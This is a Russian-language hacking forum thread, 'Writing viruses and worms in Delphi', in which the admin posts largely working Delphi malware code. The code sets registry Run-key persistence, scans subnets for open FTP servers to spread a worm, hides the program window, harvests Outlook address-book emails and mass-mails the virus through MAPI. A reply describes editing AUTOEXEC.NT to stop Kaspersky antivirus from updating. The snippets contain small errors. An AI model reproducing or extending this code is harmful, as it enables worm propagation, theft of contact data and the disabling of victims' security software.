Наш форум ZON@-X
Главная страница | Пишем вирусы и черви на Delphi - Форум | Регистрация | Вход
 
Пятница, 12.12.2025, 02:26
Приветствую Вас Гость | RSS
[Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Пишем вирусы и черви на Delphi
The_XДата: Понедельник, 21.05.2007, 20:44 | Сообщение # 1
.::ADMIN::.
Группа: Администраторы
Сообщений: 1072
Репутация: 3
Статус: Вырублен
Если поработать головой, то можно за 30 минут написать червя который ещё и все папки найдёт, на ftp, в которых запись разрешена.
ОТЛИЧНЫЙ ЧЕРВЯК


.:::X:::.
 
The_XДата: Понедельник, 21.05.2007, 20:46 | Сообщение # 2
.::ADMIN::.
Группа: Администраторы
Сообщений: 1072
Репутация: 3
Статус: Вырублен
Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк

public
{ Public declarations }
end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:

RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы.

Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:

var
Form1: TForm1;
ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;

Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:

function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP)
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;

Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:

var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;
После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт.
Далее нам нужно распространить копии червя по всем имеющимся в списке ftp-серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:
NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);

После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.
Папка меняется кодом NMFTP.ChangeDir(имя_папки);
Закачка файлов происходит следующим образом:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.


.:::X:::.
 
The_XДата: Понедельник, 21.05.2007, 20:49 | Сообщение # 3
.::ADMIN::.
Группа: Администраторы
Сообщений: 1072
Репутация: 3
Статус: Вырублен
Вот ещё сетевой вирус

.:::X:::.
 
The_XДата: Понедельник, 21.05.2007, 20:51 | Сообщение # 4
.::ADMIN::.
Группа: Администраторы
Сообщений: 1072
Репутация: 3
Статус: Вырублен
ISONLINE - проверка соединения с инетом
SENDVIRUS - догадайся с трех раз wink
GETMAILS - получаем адреса из AddresBook аутглюка
INFECTFILES - smile
WORKMEMORY - почти то же, что в прошлой статье, но с модификациями.

КОДИНГ

До начала собственно кодига на этот раз необходимы будут долгие предварительные ласки smile Объясняю почему: для чтения адресной книги мы будем обращаться к аутлуку по межпрограммному интерфейсу, а для этого нам нехило поиметь его type library. Вот и делай: projectа import type library, и ищи там... правильно, Outlook express v.9 или какой там у тебя стоит. Девятой считается версия, если не ошибаюсь, из Office2k. Импортировал? Что значит "нет в списке"? Да ладно, бывает. Ищи вручную - в каталоге с офисом есть файл msoutl.olb. Это она wink Теперь в раздел uses пиши outlook_tlb и будешь иметь доступ к самым интимным местам адресной книги smile Ой, какой-то я сегодня озабоченный wink В общем, процедура потрошения адресбука должна выглядеть так:

uses
ComObj, outlook_tlb,
Forms;
....
Procedure GETMAILS;
var
MyFolder, MSOutlook, MyNameSpace, MyItem : Variant;
s : string;
num, i : Integer;
mails : array of string;

begin
MSOutlook := CreateOleObject('Outlook.Application');
MyNameSpace := MSOutlook.GetNameSpace('MAPI');
MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts);
SetLength (mails,MyFilder.Items.Count);
for i := 1 to MyFolder.Items.Count do
begin
MyItem := MyFolder.Items[i];
mails[i]:= myitem.email1addres;
end;

end.

Ну как, порадовало тебя написанное? Гы, дальше будет только хуже. Потому что отправка вируса будет на чистом API. А это, как говорит Horrific: "то же самое, что ручной секс. Эффект есть в обоих случаях, но его приходится долго добиваться и нет такого кайфа" smile Ну так что я тут понаписал? Uses Comobj позволяет нам работать с COM технологией; далее мы только создаем OLE объект аутлука, и циклически выясняем у него список емайлов. Если тебе хочется выяснить еще что-нибудь - это тоже реально, читай доки - они рулез. Хоть и на английском. Список емайлов пишется в динамический массив из строчек. Его будет юзать функция SendVirus. Вот эта:

function SendVirus(const RecipName, RecipAddress, Subject, Attachment: string):Boolean;
var
MapiMessage : TMapiMessage;
MapiFileDesc : TMapiFileDesc;
MapiRecipDesc : TMapiRecipDesc;
i : integer;
s : string;
begin
with MapiRecipDesc do begin
ulRecerved := 0;
ulRecipClass := MAPI_TO;
lpszName := PChar(RecipName);
lpszAddress := PChar(RecipAddress);
ulEIDSize := 0;
lpEntryID := nil;
end;

with MapiFileDesc do begin
ulReserved := 0;
flFlags := 0;
nPosition := 0;
lpszPathName := PChar(Attachment);
lpszFileName := nil;
lpFileType := nil;
end;

with MapiMessage do begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
if length(Attachment)> 0 then begin
nFileCount := 1;
lpFiles := @MapiFileDesc;
end else begin
nFileCount := 0;
lpFiles := nil;
end;
end;

Result := MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;

Ты не опух, пока это читал? Пойди, попей пивка, а то ничего не поймешь. Выпил? Я тоже wink Хорошо, продолжаем. Юзать будешь так:

For i := 1 to length (mails) do
begin
SendVirus ('',mails[i],'pricol','..');
end;

Здесь мы задействуем функции uses MAPI, поэтому не забудь его объявить. Короче, это - низкоуровневая работа с почтой. А для работы с почтой, как ты знаешь, надо иметь а) email получателя б) текст письма в) аттач. Вот я и делаю: MapiRecipDesc - описываю получателя, MapiFileDesc - аттач, т.е. наш вирус, MapiMessage - это сообщение, потом я его командой MapiSendMail отправлю в большую жизнь wink Ну, не так это оказалось и сложно. Главное понять, что твой самый большой друг - это не c:\porno, а win32.hlp smile

Как же теперь все это словоблудие уложить в суровую логику вируса? Сам разберешься, я тебе уже 2 статьи подряд об этом долблю. И вообще, я вчера отмечал день рождения моей девушки, теперь у меня слегка трещит голова smile Ну ладно, чувство долга сильнее. Just Do It: первой строчкой проверяешь имя файла, откуда ты стартовал. Если pricol.exe - значит CopyFile к виндам smile А если стартанул из виндового каталога - то циклически проверяй подключение к всемирной wink сети. Проверяем:

function IsOnline: Boolean;
var
RASConn : TRASConn;
dwSize,dwCount : DWORD;
begin
RASConns.dwSize := SizeOf(TRASConn);
dwSize := SizeOf(RASConns);
Res :=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result := (Res = 0) and (dwCount > 0);
end;


.:::X:::.
 
lennonДата: Понедельник, 05.11.2007, 22:49 | Сообщение # 5
Школьник
Группа: Пользователи
Сообщений: 4
Репутация: 0
Статус: Вырублен
Ты можешь Написать на С++ получение адрессов из Outlook?

Хакер не преступник. Взлом - для исскуства. Смысл в свободе
 
deusДата: Пятница, 22.08.2008, 08:40 | Сообщение # 6
Школьник
Группа: Пользователи
Сообщений: 1
Репутация: 0
Статус: Вырублен
Написав любой вирус со временем на него будет обновлена база антивируса
но ведь обновление в антивируснике то можно легко отключить!!!!

я знаю как легко отключить в kaspersky lab продуктах обновление (это касается и KAV7 и KIS7 !!!):

в свой вирус необходимо добавить директиву, которая отыскивает файл C:\WINDOWS\System32\AUTOEXEC.NT и делает там три простых изменения -
перед всеми строками, которые начинаются с команды lh нужно поставить REM и ВУАЛЯ! После перезагруски Каспер откажется обновляться и ваши вируски будут хорошо гулять по компу.

А ответ на эту проблему юзер не найдет, так как касперс-саппорт с триальщиками и юзерами с ключами из черного списка не общается!

Да здравствует КАСПЕР! tongue

(проверено на всех продуктах 7.0 - РАБОТАЕТ!!!!!!)

Переустановка каспера юзеру НЕ ПОМАГАЕТ!!!

 
  • Страница 1 из 1
  • 1
Поиск:


Форум сайта zona-x Развлекайтесь!С нами Хостинг от uCoz